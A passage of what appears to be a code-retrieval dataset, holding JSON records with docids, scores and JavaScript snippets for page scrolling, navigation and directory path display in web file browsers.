"" }, { "docid": "b65b29cd7d91a262be8a65d0bfc8a5a7", "score": "0.6256966", "text": "scroll(){\n\n\t}", "title": "" }, { "docid": "064171877453ca5e6a3e8d10521e77b5", "score": "0.624809", "text": "function scrollPageAndSlide(destiny, slide){\n var section = getSectionByAnchor(destiny);\n\n //default slide\n if (typeof slide === 'undefined') {\n slide = 0;\n }\n\n //we need to scroll to the section and then to the slide\n if (destiny !== lastScrolledDestiny && !section.hasClass(ACTIVE)){\n scrollPage(section, function(){\n scrollSlider(section, slide);\n });\n }\n //if we were already in the section\n else{\n scrollSlider(section, slide);\n }\n }", "title": "" }, { "docid": "064171877453ca5e6a3e8d10521e77b5", "score": "0.624809", "text": "function scrollPageAndSlide(destiny, slide){\n var section = getSectionByAnchor(destiny);\n\n //default slide\n if (typeof slide === 'undefined') {\n slide = 0;\n }\n\n //we need to scroll to the section and then to the slide\n if (destiny !== lastScrolledDestiny && !section.hasClass(ACTIVE)){\n scrollPage(section, function(){\n scrollSlider(section, slide);\n });\n }\n //if we were already in the section\n else{\n scrollSlider(section, slide);\n }\n }", "title": "" }, { "docid": "a8884feab4bd8e88c5809ddab19f494d", "score": "0.62397915", "text": "function scrollPageAndSlide(destiny, slide){\r\n var section = getSectionByAnchor(destiny);\r\n\r\n //default slide\r\n if (typeof slide === 'undefined') {\r\n slide = 0;\r\n }\r\n\r\n //we need to scroll to the section and then to the slide\r\n if (destiny !== lastScrolledDestiny && !section.hasClass(ACTIVE)){\r\n scrollPage(section, function(){\r\n scrollSlider(section, slide);\r\n });\r\n }\r\n //if we were already in the section\r\n else{\r\n scrollSlider(section, slide);\r\n }\r\n }", "title": "" }, { "docid": "cffb4c5f4713af1194e4619ac8840313", "score": "0.6229804", "text": "function showScroll(pages) {\r\n var currentWrapper=pages.currentPage.find('.inner-wrapper');\r\n currentWrapper.scrollTop(0);\r\n currentWrapper.perfectScrollbar('destroy');\r\n $('.inner-wrapper').stellar();\r\n var innerWrapper = pages.demandPage.find('.inner-wrapper'),\r\n scrollTop = {};\r\n innerWrapper.css('height',pages.config.height-pages.config.navHeight);\r\n innerWrapper.perfectScrollbar({\r\n wheelSpeed: 50,\r\n suppressScrollX:true\r\n });\r\n innerWrapper.css('height',pages.config.height);\r\n var scrollBar = innerWrapper.find('.ps-scrollbar-y-rail');\r\n if (!pages.toTop){\r\n scrollBar.addClass('stick-top');\r\n }\r\n if (scrollBar.find('.ps-scrollbar-y').height() == 0){\r\n scrollBar.css('display', 'none');\r\n }\r\n scrollBar.css('right', '-15px');\r\n TweenMax.to(scrollBar, 0.5, {right: '0px'});\r\n }", "title": "" }, { "docid": "11eaf22e911ff4a3c6fd710e5a32af9d", "score": "0.6225919", "text": "function subNavScroll(id) {\n var header = document.getElementById(id);\n var offset = header.offsetTop + 200;\n\n //temporarily using jQuery here to add a animation quickly.\n $('html, body').animate({ scrollTop: offset }, 300);\n }", "title": "" }, { "docid": "33b53dc7d3dfb07b46c4a2c519ce4d7d", "score": "0.622478", "text": "function handleScroll() {\n showBackToTop();\n showSection();\n handleDivider();\n}", "title": "" }, { "docid": "bf01ccd879374bb335bef3f19b4924ac", "score": "0.622188", "text": "next() {\r\n if (!this.carouselLoaded)\r\n return;\r\n this.navigationService.next(this.carouselService.settings.navSpeed);\r\n }", "title": "" }, { "docid": "a461432b899bf4f84dfdfe708b5a6afb", "score": "0.6214934", "text": "function scrollPageAndSlide(destiny, slide){\n var section = getSectionByAnchor(destiny);\n\n if (typeof slide === 'undefined') {\n slide = 0;\n }\n\n //we need to scroll to the section and then to the slide\n if (destiny !== lastScrolledDestiny && !hasClass(section, ACTIVE)){\n scrollPage(section, function(){\n scrollSlider(section, slide);\n });\n }\n //if we were already in the section\n else{\n scrollSlider(section, slide);\n }\n }", "title": "" }, { "docid": "ca550c2b3fb869ed09ca97c16462e540", "score": "0.6204338", "text": "function scrollNav() {\n $('a').click(function(){ \n //Toggle Class\n $(\".active\").removeClass(\"active\"); \n $(this).closest('li').addClass(\"active\");\n var theClass = $(this).attr(\"class\");\n $('.'+theClass).parent('li').addClass('active');\n //Animate\n $('html, body').stop().animate({\n scrollTop: $( $(this).attr('href') ).offset().top - 10\n }, 400);\n return false;\n });\n $('.scrollTop a').scrollTop();\n}", "title": "" }, { "docid": "cfb53f486213203cbe0db0996ba82899", "score": "0.61955625", "text": "function animateScroll() {\n\t\t//On page load\n\t\t$(document).ready(function(e) {\n\t\t\t//e.preventDefault();\n\n\t\t\tif(location.hash) {\n\t\t\t\t//Get hash part of href from anchor\n\t\t\t\tvar target = location.hash;\n\n\t\t\t\t//console.log(target);\n\n\t\t\t\t//Animated scroll to location\n\t\t\t\tif (target == '#home' ) {\n\t\t\t\t\t//Go to absolute top of page if clicking 'home'\n\t\t\t\t\t$('html, body').animate({scrollTop: $(target).offset().top - 96}, 1000, function(){\n\t\t\t\t\t\tlocation.hash = target;\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\t$('html, body').animate({scrollTop: $(target).offset().top - 120}, 1000, function(){\n\t\t\t\t\t\tlocation.hash = target;\n\t\t\t\t\t});\n\t\t\t\t};\n\t\t\t}\n\t\t});\n\n\n\t\t//On click\n\t\t$('a').click(function(e) {\n\t\t\te.preventDefault();\n\n\t\t\t//Get hash part of href from anchor\n\t\t\tvar target = this.hash;\n\t\t\t\n\t\t\t//Add class to show it's active\n\t\t\t// $(this).addClass('nav__link--active');\n\n\t\t\t//Animated scroll to location\n\t\t\tif (target == '#home' ) {\n\t\t\t\t//Go to absolute top of page if clicking 'home'\n\t\t\t\t$('html, body').animate({scrollTop: $(target).offset().top - 136}, 1000, function(){\n\t\t\t\t\tlocation.hash = target;\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\t$('html, body').animate({scrollTop: $(target).offset().top - 96}, 1000, function(){\n\t\t\t\t\tlocation.hash = target;\n\t\t\t\t});\n\t\t\t};\n\n\t\t\t\n\t\t\t\n\t\t})\n\t}", "title": "" }, { "docid": "4884cf9e462372f1deeb30a3ac4af068", "score": "0.61944", "text": "function scroll() {\n const menuScroll = document.querySelectorAll('a');\n for (let i = 0; i <= sections.length; i++) {\n const top = sections[i].getBoundingClientRect().top + window.pageYOffset;\n menuScroll[i].addEventListener('click', function (e) {\n e.preventDefault();\n window.scrollTo({\n top,\n behavior: 'smooth'\n })\n });\n }\n}", "title": "" }, { "docid": "35a37955fd8a333a7606accd577df5fd", "score": "0.6186796", "text": "function pageScroll(){\n $pageScrollLink.on('click', function(e){\n var ww = Math.max($window.width(), window.innerWidth),\n anchor = $(this),\n href = anchor.attr('href'),\n offset = ww > 992 ? navHeightShrink : navHeight;\n\n $('html, body').stop().animate({\n scrollTop: $(href).offset().top - (offset - 1)\n }, 1000, 'easeInOutExpo');\n \n // Automatically retract the navigation after clicking on one of the menu items.\n $navbarCollapse.collapse('hide');\n \n e.preventDefault();\n });\n }", "title": "" }, { "docid": "41e9b0670df0009f57a5fa0232b9ea93", "score": "0.61765087", "text": "function navScroll() {\n\t\t\tvar $header = $('.site-header'),\n\t\t\t\thH = $header.outerHeight(),\n\t\t\t\ttopPos = ($('.admin-bar').length && winWidth > 768) ? '32px' : 0;\n\n\t\t\tscrollDirection({\n\t\t\t\tdown: function () {\n\t\t\t\t\t$header.removeClass('fixed').css({ top: -hH });\n\t\t\t\t\t\n\t\t\t\t\t// Correct position for overscroll on Chrome / Safari with trackpad\n\t\t\t\t\tif ($window.scrollTop() <= 0) {\n\t\t\t\t\t\t$header.removeClass('fixed').css({ top: topPos });\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\tup: function () {\n\t\t\t\t\t$header.addClass('fixed').css({ top: topPos });\n\t\t\t\t\t\n\t\t\t\t\t//remove BG styles and show bar at top of page\n\t\t\t\t\tif ($window.scrollTop() < hH) {\n\t\t\t\t\t\t$header.removeClass('fixed').attr('style', '');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t//default in case we load part way down the page\n\t\t\tif ($window.scrollTop() > hH) {\n\t\t\t\t$header.addClass('fixed').css({ top: topPos });\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "30ad85f22df325d666180e240566098c", "score": "0.6169917", "text": "function scroll () { window.scrollBy(0, step); }", "title": "" }, { "docid": "efd29fb6f0d9b03489d82bab071945a5", "score": "0.6168983", "text": "function scrollToAnchor(){\n var anchors = getAnchorsURL();\n var sectionAnchor = anchors.section;\n var slideAnchor = anchors.slide;\n\n if(sectionAnchor){ //if theres any #\n if(options.animateAnchor){\n scrollPageAndSlide(sectionAnchor, slideAnchor);\n }else{\n silentMoveTo(sectionAnchor, slideAnchor);\n }\n }\n }", "title": "" }, { "docid": "913e61b1cccc650543667866a65a4cf0", "score": "0.616642", "text": "function openNav() {\n\t\t/*document.getElementById(\"openSidenav\").style.opacity = \"0\";\n\t document.getElementById(\"mySidenav\").style.width = \"100%\";\n\t document.getElementById(\"fullpage\").style.marginLeft = \"100%\";*/\n\n\t $('#openSidenav').velocity({\n \t\t\topacity: 0\n\t\t\t},{\n\t\t\t\tduration: 200\n\t\t});\n/*\n\t $('#mySidenav')\n\t .velocity({\n\t \t\tleft: \"100px\"\n\t \t},{\n\t \t\tduration: 1\n\t \t}\n\t )\n*/\n\t\tdocument.getElementById(\"mySidenav\").style.left = \"0%\";\n\n\t setTimeout(function() {\n\t\t $('#mySidenav').velocity({\n \t\t\topacity: 1\n\t\t\t},{\n\t\t\t\tduration: 600\t\n\t\t });\n\t\t}, 50);\n\t \n\t\t/*\n\t\t$('#fullpage').velocity({\n \t\t\twidth: \"100%\"\n\t\t\t},{\n\t\t\t\tduration: 200\n\t\t});\n\t\t*/\n\t\t$.fn.fullpage.setAllowScrolling(false);\n\t\t$.fn.fullpage.setKeyboardScrolling(false);\n\n\t}", "title": "" }, { "docid": "587d4c521c944bb7eebcee71d0967fd2", "score": "0.6165557", "text": "function navHide(navSel, upCl) {\n var lastScrollTop = 0;\n var delta = 5;\n var navbar = document.querySelector(navSel);\n var navbarHeight = document.querySelector(navSel).offsetHeight;\n var navCl = document.querySelector(navSel).classList;\n var scrolling = false;\n \n function hasScrolled() {\n var st = Math.max(document.body.scrollTop , window.pageYOffset, document.documentElement.scrollTop);\n var windHeight = Math.max( document.documentElement.clientHeight, window.innerHeight );\n var documHeight = Math.max(document.body.offsetHeight, document.body.scrollHeight );\n \n if(Math.abs(lastScrollTop - st) <= delta) return;\n \n if (st > lastScrollTop && st > navbarHeight + 100 ){\n \n // Scroll Down\n navCl.add(upCl);\n \n \n /*--------------- add animations for sections (self-exec) -----------------*/\n (function addAnimCl(elem, classAnim) {\n \n var elms = document.querySelectorAll(\".slideanim\"); // array of li elements\n for (var i = 0; i < elms.length; i++) {\n var el = elms[i];\n doSmth(el);\n }\n function doSmth(el) {\n \n if (el.getBoundingClientRect().top < 600) {\n //el.classList.add(\"slide\");\n \n if (window.getComputedStyle(el).visibility == \"hidden\"){\n el.classList.add(\"slide\");\n \n \n }\n }\n }\n })();\n /*--------------- end add animations -----------------*/\n\n } else {\n \n // Scroll Up\n if(st < lastScrollTop) {\n navCl.remove(upCl);\n \n }\n }\n lastScrollTop = st;\n }\n \n /**/\n window.addEventListener('scroll', function(e) {\n \n if (!scrolling) {\n scrolling = true;\n \n (!window.requestAnimationFrame)\n\t\t\t\t? debounce(function() { hasScrolled(); scrolling = false; }, 250)()\n\t\t\t\t: window.requestAnimationFrame(function() {\n hasScrolled();\n scrolling = false;\n });\n \n \n }\n \n \n });\n\n}", "title": "" }, { "docid": "f093ab3abaf62c00426a63def8b953a4", "score": "0.616201", "text": "function slideTo(index) {\n\t slide(index);\n\t }", "title": "" }, { "docid": "792f8c54df67000786b6246ec07ca858", "score": "0.61599493", "text": "function setScrolledNav () { \n\t\tvar distance = 100;\n\t\tif ($(window).scrollTop() > distance) {\n\t\t $('nav').addClass('scrolled');\n\t\t}\n\t\telse {\n\t\t $('nav').removeClass('scrolled');\n\t\t}\n\t}", "title": "" }, { "docid": "eb1461113df8ad28a1c610dcd9ebdfa0", "score": "0.61597455", "text": "function pageScroll() {\n current_loc = this.classList;\n next_loc = document.getElementById(current_loc);\n window.scrollTo({\n top: next_loc.offsetTop - nav_height,\n behavior: \"smooth\",\n });\n}", "title": "" }, { "docid": "f002096d669adb8edc981e92608edc16", "score": "0.61588764", "text": "function scrollToAnchor(){\r\n var anchors = getAnchorsURL();\r\n var sectionAnchor = anchors.section;\r\n var slideAnchor = anchors.slide;\r\n\r\n if(sectionAnchor){ //if theres any #\r\n if(options.animateAnchor){\r\n scrollPageAndSlide(sectionAnchor, slideAnchor);\r\n }else{\r\n silentMoveTo(sectionAnchor, slideAnchor);\r\n }\r\n }\r\n }", "title": "" }, { "docid": "f002096d669adb8edc981e92608edc16", "score": "0.61588764", "text": "function scrollToAnchor(){\r\n var anchors = getAnchorsURL();\r\n var sectionAnchor = anchors.section;\r\n var slideAnchor = anchors.slide;\r\n\r\n if(sectionAnchor){ //if theres any #\r\n if(options.animateAnchor){\r\n scrollPageAndSlide(sectionAnchor, slideAnchor);\r\n }else{\r\n silentMoveTo(sectionAnchor, slideAnchor);\r\n }\r\n }\r\n }", "title": "" }, { "docid": "66c1f1981ce218b267297a4c98ab2a8e", "score": "0.61581826", "text": "function navScroll(){\n\n var scrolltop = $(this).scrollTop();\n\n if(scrolltop<60)\n {\n $('nav').css({background:'rgba(21,22,23,.5)'});\n $('nav a').css({color:'rgb(255,255,255)'});\n $('nav li').css({color:'rgb(255,255,255)'});\n $('#search').css({'border-left':'1px solid rgb(255,255,255)'});\n $('#search input').css({'color':'rgb(237,237,237)'});\n $('#search img').attr(\"src\",window.search);\n $('#reward img').attr(\"src\",window.rewards);\n $('#statistics img').attr(\"src\",window.statistics);\n }\n else if(scrolltop>hauteur)\n {\n $('nav').css({background:'rgb(255,255,255)'});\n $('nav a').css({color:'rgb(21,22,23)'});\n $('nav li').css({color:'rgb(21,22,23)'});\n $('#search').css({'border-left':'1px solid rgb(141,142,143)'});\n $('#search input').css({'color':'rgb(71,71,71)'});\n $('#search img').attr(\"src\",window.search_nb);\n $('#reward img').attr(\"src\",window.rewards_nb);\n $('#statistics img').attr(\"src\",window.statistics_nb);\n }\n }", "title": "" }, { "docid": "8a9726bfc54ed28f442c224db4821859", "score": "0.61490214", "text": "function navigate(e) {\n\t\tvar o = document.querySelector('.side-dot-navigation ul li.active')\n\t\tif (o) {\n o.classList.remove('active');\n }\n\t\te.currentTarget.classList.add('active')\n\t\tvar h = e.currentTarget.getAttribute(\"data-slide-h\")\n\t\tvar v = e.currentTarget.getAttribute(\"data-slide-v\")\n\t\t//console.log(\"clicked\", h, v)\n\t\tReveal.slide(h, v)\n\t}", "title": "" }, { "docid": "8e85af1aa488e7f5d1b26f283d8480ce", "score": "0.6144761", "text": "function scrollDown () {\r\n //var $paneOptions = $('#log');\r\n //$paneOptions.scrollTo( 'li:last',0); \r\n //$(\"#entry\").focus();\r\n}", "title": "" }, { "docid": "01f560b9007b0985bc7d6a3023fa40b1", "score": "0.61426127", "text": "function setSlide() {\n if ($('.active-slide').length) {\n $('.active-slide').removeClass('active-slide');\n $('.active-li').removeClass('active-li');\n }\n\n var firstSlide = '#' + document.getElementsByTagName('section')[0].id;\n var slide = window.location.hash || firstSlide;\n var slideSection = $(slide);\n if (slideSection.length) {\n setSlideClasses(slideSection);\n $('li[onclick*=\"' + slide + '\"]').addClass('active-li');\n } else {\n window.location.hash = firstSlide;\n setSlideClasses($(firstSlide));\n }\n}", "title": "" }, { "docid": "f4ee07f19694b290227fa2cae2b70ff5", "score": "0.61327446", "text": "function scrollChange(e){\n if(e.deltaY > 0){\n scrollIndex += 1;\n }\n else{\n scrollIndex -= 1;\n }\n\n if(scrollIndex > 2){\n scrollIndex = 0;\n }\n else if( scrollIndex < 0){\n scrollIndex = 2;\n }\n switchDots(scrollIndex);\n NextSlide(scrollIndex);\n }", "title": "" }, { "docid": "8840ebf008c819ec5110a3cb080c4954", "score": "0.6123793", "text": "function scrollSection(evt) {\n evt.preventDefault();\n if (menuOpen === true) {\n menuAnimation();\n }\n var bodyarea = document.querySelector('body');\n var worksec = bodyarea.querySelector('#work');\n var aboutsec = bodyarea.querySelector('#about');\n var contactsec = bodyarea.querySelector('#contact');\n\n switch(this.id) {\n case 'main-logo':\n bodyarea.scrollIntoView({block: 'start', inline: 'start', behavior: 'smooth'});\n break;\n case 'menu-work':\n worksec.scrollIntoView({block: 'start', inline: 'start', behavior: 'smooth'});\n break;\n case 'menu-about':\n aboutsec.scrollIntoView({block: 'start', inline: 'start', behavior: 'smooth'});\n break;\n case 'menu-contact':\n contactsec.scrollIntoView({block: 'start', inline: 'start', behavior: 'smooth'});\n break;\n default:\n break;\n }\n }", "title": "" } ]
f5eaa842d94df0a03379f4268b5078af
display the details of the currnt path on the dir page eg: home > docs > slides
[ { "docid": "fe58ee6038221409448d6ec9e21d05f8", "score": "0.55122304", "text": "function display_path_bar(url,$p)\n{\n segment = url.split(\"/\");\n url = \"/\" + decodeURIComponent(segment[3]);\n //$p.append('<a href=\"' + url + '\">' + segment[3] + \"</a>\");\n $p.append('<a href=\"' + url + '\">' + \"我的云盘\" + \"</a>\");\n\n for(var i = 4; i < segment.length; ++i)\n {\n url += (\"/\" + segment[i]);\n $p.append(' <i class=\"icon-chevron-right\"></i><a href=\"' +\n url + '\"> ' + tidy_display_name(convert_html_symble(decodeURIComponent(segment[i]))) + \"</a>\");\n }\n}", "title": "" } ]
[ { "docid": "89b15e5d37335371fd5991d2a317e0ca", "score": "0.62105566", "text": "function showCurrentPath() {\n currentPathLabel = document.getElementById('driveCurrentPath');\n currentPathLabel.innerText = \"\";\n for (let i = 0; i < driveManager.currentPath.length; i++) {\n item = driveManager.currentPath[i];\n if (i === 0) {\n currentPathLabel.innerHTML = `<span class='filepath' onclick=\"navigateToNode('${item.id}')\">${item['name']}</span>`;\n } else {\n currentPathLabel.innerHTML += ` > <span class='filepath' onclick=\"navigateToNode('${item.id}')\">${item['name']}</span>`;\n }\n }\n}", "title": "" }, { "docid": "e2509aaa11bd4fe0baf0a77c223c6199", "score": "0.6134303", "text": "function revealPath () {\n\t\tvar file = __filename,\t//Captures the filename\n\t\t\tdirectory = __dirname;\t//Captures the directory path\n\n\t\tconsole.log(\"Name of this file: \" + file);\n\t\tconsole.log(\"Name of the directory: \" + directory);\n\t}", "title": "" }, { "docid": "33f1f1cd6a12fb4c0db8ec50226f66d8", "score": "0.61256975", "text": "function onClickDirRepoContent(dirItem) {\n // update path label\n addToPathLabel(dirItem.name,dirItem.path)\n\n // display folder content\n getFolderContent(dirItem.path)\n}", "title": "" }, { "docid": "9c0ee0701bad024ffa46664bcabe57f1", "score": "0.607565", "text": "function pageDir()\n{\n //global config;\n return (config.GENERAL.PAGES_DIRECTORY);\n}", "title": "" }, { "docid": "a969d92d0d11643dcd5a70a32be84a91", "score": "0.60494894", "text": "getPath() {\n return __dirname + `/../dist/albums/${this.name}/${this.currentGalleryIndex+1}.html`\n }", "title": "" }, { "docid": "657bc63a9d376725f4bc6fcab7235cd2", "score": "0.59268796", "text": "getPath() { return this.wname+\"/.\"; }", "title": "" }, { "docid": "1a2d033e12d04b82b09b3a352047ed20", "score": "0.59142435", "text": "render(){\n var currDir = \"\";\n var prevDir = \"\";\n var split = \"\";\n\n split = this.props.file.split(\"/\");\n for (var i = 0; i < split.length-1; i++)\n prevDir += \"/\"+split[i];\n\n if (prevDir != \"\")\n prevDir = \"/folder\" + prevDir;\n\n currDir = split[split.length-1];\n\n return(\n <div className=\"panel panel-default\">\n <div className=\"panel-heading\">\n <div className=\"panel-title\">\n <Link to={\"/\"+this.props.owner+\"/\"+this.props.repoName+prevDir}>{prevDir+\"/\"}</Link> {currDir}\n </div>\n </div>\n <div>\n <pre>\n {this.props.fileContent.replace(\"<\", \"&lt\")}\n </pre>\n </div>\n </div>\n );\n }", "title": "" }, { "docid": "e4631e05c3019c51803d05537f375f67", "score": "0.59114766", "text": "getCurrentPage() {\n const path = this.props.currentPath;\n switch(path) {\n case '/':\n return 'home';\n case '/chat':\n return 'chat';\n case '/currencies':\n return 'currencies';\n default:\n return '';\n }\n }", "title": "" }, { "docid": "61898f2f0372a4245b71fa3a2ba96c8d", "score": "0.5816162", "text": "function showCurrentPage(){\n renderPageInfo();\n render_results(_currentDocMentions);\n }", "title": "" }, { "docid": "e8623b7fdb190172254af7143fbacddb", "score": "0.5810228", "text": "function pagePath( title )\n{\n return (pageDir()+title.nkfconv(\"Ws\"));\n}", "title": "" }, { "docid": "a19785d9ed4acd9855c00d77e00a8f31", "score": "0.5786414", "text": "getTitle() {\n\t\treturn path.basename(this.getFocus().getDirectory());\n\t}", "title": "" }, { "docid": "cbbc3e66c8cd1f9cd9bf0846fc3137c6", "score": "0.5678205", "text": "function loadCurrentDir() {\n show_layer('loadCurrentDir');\n $.ajax({\n url: 'php/getdir.php',\n type: 'post',\n dataType: 'json',\n data: {\n dir: state.current_dir\n },\n success: function(json) {\n state.files_list = json.content;\n hide_layer('loadCurrentDir');\n render();\n }\n });\n}", "title": "" }, { "docid": "ec7e4e2e7597b48bbedb00239ca81992", "score": "0.56386375", "text": "function GetCurrentPage() {\r\n for each(var page in PAGES) {\r\n if($(page[\"path\"]).filter(\":visible\").length) {\r\n return page;\r\n }\r\n }\r\n }", "title": "" }, { "docid": "1727c26cb1b252d69e5f331b65c024af", "score": "0.5624948", "text": "function show() {\n\tvar fdid = request.httpParameterMap.fdid.stringValue!=null ? request.httpParameterMap.fdid.stringValue : fdid;\n\tvar folder : Folder= require('~/cartridge/scripts/scripts/GetFolder.ds').getFolderFromID(fdid);\n\t\n\tif(empty(folder.template)){\n\t\tapp.getView({\n\t\t\tFolder : folder\n\t\t\t}).render('content/folder/folderview');\n\t}\n\telse{\n\t\tapp.getView({\n\t\t\tFolder : folder\n\t\t\t}).render(folder.template);\n\t}\n\t\n}", "title": "" }, { "docid": "9ea98fd30d55c2abc219bd66563a4330", "score": "0.56026196", "text": "dir_name() {\n console.log(__dirname);\n }", "title": "" }, { "docid": "da6655f5fd917c2faa55b55a61267354", "score": "0.55609757", "text": "function directoryInfo(pp, callback) {\n var result = {\n \"Path\": pp.uiPath,\n \"Preview\": pp.uiPath,\n \"Filename\": pp.filename,\n \"File Type\": \"dir\",\n \"Thumbnail\": \"images/fileicons/_Open.png\",\n \"Properties\": {\n \"Date Created\": pp.stats.birthtime,\n \"Date Modified\": pp.stats.mtime,\n \"filemtime\": pp.stats.mtime,\n \"Height\": 0,\n \"Width\": 0,\n \"Size\": 0\n },\n \"Error\": \"\",\n \"Code\": 0\n };//result\n callback(result);\n }//directoryInfo", "title": "" }, { "docid": "6e7e57a49a0cb7349cc31f0c79e41cfd", "score": "0.5554693", "text": "function findCurrentFileBrowserPath() {\n try {\n let leftSidebarItems = app.shell.widgets('left');\n let fileBrowser = leftSidebarItems.next();\n while (fileBrowser.id !== 'filebrowser') {\n fileBrowser = leftSidebarItems.next();\n }\n return fileBrowser.model.path;\n }\n catch (err) { }\n }", "title": "" }, { "docid": "acb9492bc5be6d1b32063cce4591b033", "score": "0.554001", "text": "function getCurrentDirectory() {\r\n\treturn File.GetAbsolutePathName(\".\");\r\n}", "title": "" }, { "docid": "2325c0a37e7bbebd0904cf5503f43922", "score": "0.55368453", "text": "function loadCurrentTemplateDir() {\n show_layer('loadCurrentTemplateDir');\n $.ajax({\n url: 'php/getdir_tpl.php',\n type: 'post',\n dataType: 'json',\n data: {\n dir: state.current_file\n },\n success: function(json) {\n state.template_subdirs[state.current_file] = json.content;\n hide_layer('loadCurrentTemplateDir');\n render();\n }\n });\n}", "title": "" }, { "docid": "c94e980ffdd2ecc6202e0193cba5a156", "score": "0.5530797", "text": "function updateWorkingPathShown() {\n $('#workingpath-span').html(chdir || i18n.__('None'));\n}", "title": "" }, { "docid": "f1deb42f416033f9ea23ab386ac78e3a", "score": "0.55265695", "text": "function SetCurrentDirectoryString() {\r\n document.getElementById('path').innerHTML = 'Current directory: \"' + globalPath.toString() +'\"';\r\n}", "title": "" }, { "docid": "bdb1d57351fe3f660af3d7dd5416089f", "score": "0.55161947", "text": "function redirectFromPathLabel(path) {\n // get div which holds the path label\n const pathLabel = document.getElementById(\"pathLabel\")\n\n // clear path label\n clearElement(pathLabel)\n\n // add base repo link\n const mainfileAnchor = document.createElement(\"a\")\n mainfileAnchor.textContent = \"dy_mainfile/\"\n mainfileAnchor.onclick = function() { redirectFromPathLabel('') }\n pathLabel.appendChild(mainfileAnchor)\n\n if (path == '') { \n getFolderContent(path)\n return \n }\n\n // add remaining path links \n const pathDirs = path.split(\"/\")\n for (i = 0; i < pathDirs.length; i++){\n const anchor = document.createElement(\"a\")\n anchor.textContent = pathDirs[i] + \"/\"\n anchor.onclick = function() { redirectFromPathLabel(pathDirs.slice(0,i+1).join(\"/\"))} \n pathLabel.appendChild(anchor)\n }\n\n // get folder content\n getFolderContent(path)\n}", "title": "" }, { "docid": "0ab461d4ea74cc7372c1dff907811b23", "score": "0.5507547", "text": "function displayLocation(path) {\n \"use strict\";\n var fpath = path.split(ROOT).pop(),\n apath;\n if ((apath = pathToUrl(fpath))) {\n $('#location-bar').html('<a href=\"' + apath + '\">' + fpath + '</a>');\n } else {\n $('#location-bar').text(fpath);\n }\n $('#path').val(fpath);\n $(document).attr('title', 'Edit - ' + fpath.split('/').pop());\n}", "title": "" }, { "docid": "884f93fb1e914ff1e4d920755fa5300d", "score": "0.5492041", "text": "function get_pagename()\n{\n\tvar current_page = decodeURIComponent(current_url.split(\"/\").pop().split(\".\")[0]);\n\n\tif (current_page == '' || current_page == null)\n\t{\n\t\tfinal_page = decodeURIComponent(current_url.split(\"/\").slice(-2, -1)[0]);\n\t}\n\telse if (current_page == 'index')\n\t{\n\t\tfinal_page = decodeURIComponent(current_url.split(\"/\").slice(-2, -1));\n\t}\n\telse\n\t{\n\t\tfinal_page = current_page;\n\t}\n\n\treturn final_page;\n}", "title": "" }, { "docid": "49d8aa8d3da41a66f6270943734e05f9", "score": "0.5491618", "text": "function drivelink()\n{\n return travel_folder.getUrl();\n}", "title": "" }, { "docid": "4927ead5dcc38a07d93338cc726bbb6b", "score": "0.5484855", "text": "function directoryPage(req, res, all) {\n\t// directories have to end with a slash\n\tif(!req.path.endsWith(\"/\")) {\n\t\treturn res.redirect(req.path + \"/\");\n\t} \n\n\tres.type(\"text/html\");\n\tres.charset = \"utf-8\";\n\tres.write(header(req));\n\tres.write(`\n\t<table>`\n\t);\n\n\t// sort files - based on lower case and with directories first\n\tall.sort((a,b) => {\n\t\tvar aDir = !!(a.FileAttributes & 0x10);\n\t\tvar bDir = !!(b.FileAttributes & 0x10);\n\t\tif(aDir && !bDir) return -1; \n\t\telse if(bDir && !aDir) return 1;\n\t\tif(a.Filename.toLowerCase() < b.Filename.toLowerCase()) return -1; \n\t\telse if(a.Filename.toLowerCase() > b.Filename.toLowerCase()) return 1; \n\t\telse return 0;\n\t});\n\n\tfor(var file of all) {\n\t\t// hide . and ..\n\t\tif(file.Filename == '.' || file.Filename == '..') \n\t\t\tcontinue;\n\t\t\n\t\t// show directories\n\t\tif(file.FileAttributes & 0x10) {\n\n\t\t\t// check if hidden\n\t\t\tvar hidden = file.Filename.startsWith(\".\") ? ' class=\"hidden\"':'';\n\n\t\t\t// output entry\n\t\t\tres.write(`\n\t\t<tr${hidden}><td class=\"icon\"><i class=\"fa fa-folder\"></i></td><td class=\"name\"><a href=\"${req.path + file.Filename}/\">${escape(file.Filename)}</a></td><td class=\"size\">[DIR]</td><td class=\"share\"></td></tr>`\n\t\t\t);\n\n\t\t// and files\n\t\t} else {\n\n\t\t\t// find icon\n\t\t\tvar icon = 'file'; for(var name in icons) for(var ext of icons[name]) if(file.Filename.toLowerCase().endsWith(\".\" + ext)) icon = name;\n\n\t\t\t// find file size and make human readable\n\t\t\tvar size = 0, factor = 1, unit = 'B';\n\t\t\tfor(var i=0; i<file.EndofFile.length; i++) {\n\t\t\t\tsize += (file.EndofFile[i] * factor); factor = factor * 256;\n\t\t\t}\n\t\t\tsize = size / 1024; unit = 'KB'; \n\t\t\tif(size > 1024) {size = size / 1024; unit = 'MB'; }\n\t\t\tif(size > 1024) {size = size / 1024; unit = 'GB'; }\n\t\t\tif(size > 1024) {size = size / 1024; unit = 'TB'; }\n\t\t\tsize = Number.parseFloat(size).toFixed(2) + '&nbsp;' + unit;\n\n\t\t\t// check if hidden\n\t\t\tvar hidden = file.Filename.startsWith(\".\") ? ' class=\"hidden\"':'';\n\n\t\t\t// output entry\n\t\t\tres.write(`\n\t\t<tr${hidden}><td class=\"icon\"><i class=\"far fa-${icon}\"></i></td><td class=\"name\"><a href=\"${req.path + file.Filename}\">${escape(file.Filename)}</a></td><td class=\"size\">${size}</td><td class=\"share\"><a href=\"${req.path + file.Filename}?share\" class=\"fas fa-link\"> </a></td></tr>`\n\t\t\t);\n\t\t}\n\t}\n\tres.write(`\n\t</table>\n\t`);\n\treturn res.end(footer());\n}", "title": "" }, { "docid": "c3b6df42cbabb98a013b7990cf01191e", "score": "0.5467344", "text": "function navbardtl(path){\r\r\n\tnavbarhead();\r\r\n\tnavbarhome();\r\r\n\tnavbariter(path);\r\r\n\tnavbarend(str_mapdt);\r\r\n}", "title": "" }, { "docid": "65efba7f8d3d16dfa76d243238a0fa9e", "score": "0.5460131", "text": "async _showDirectory(path, parentPath) {\n let response = await fetch(`https://lively4${path}/`, { method: \"OPTIONS\" });\n let dir = await response.json();\n let dirTree = this.get(\"#dirTree\");\n dirTree.innerHTML = \"\";\n let ul = document.createElement(\"ul\");\n \n // Add parent\n if(path != this.selectedMount.path) {\n let parentPath = 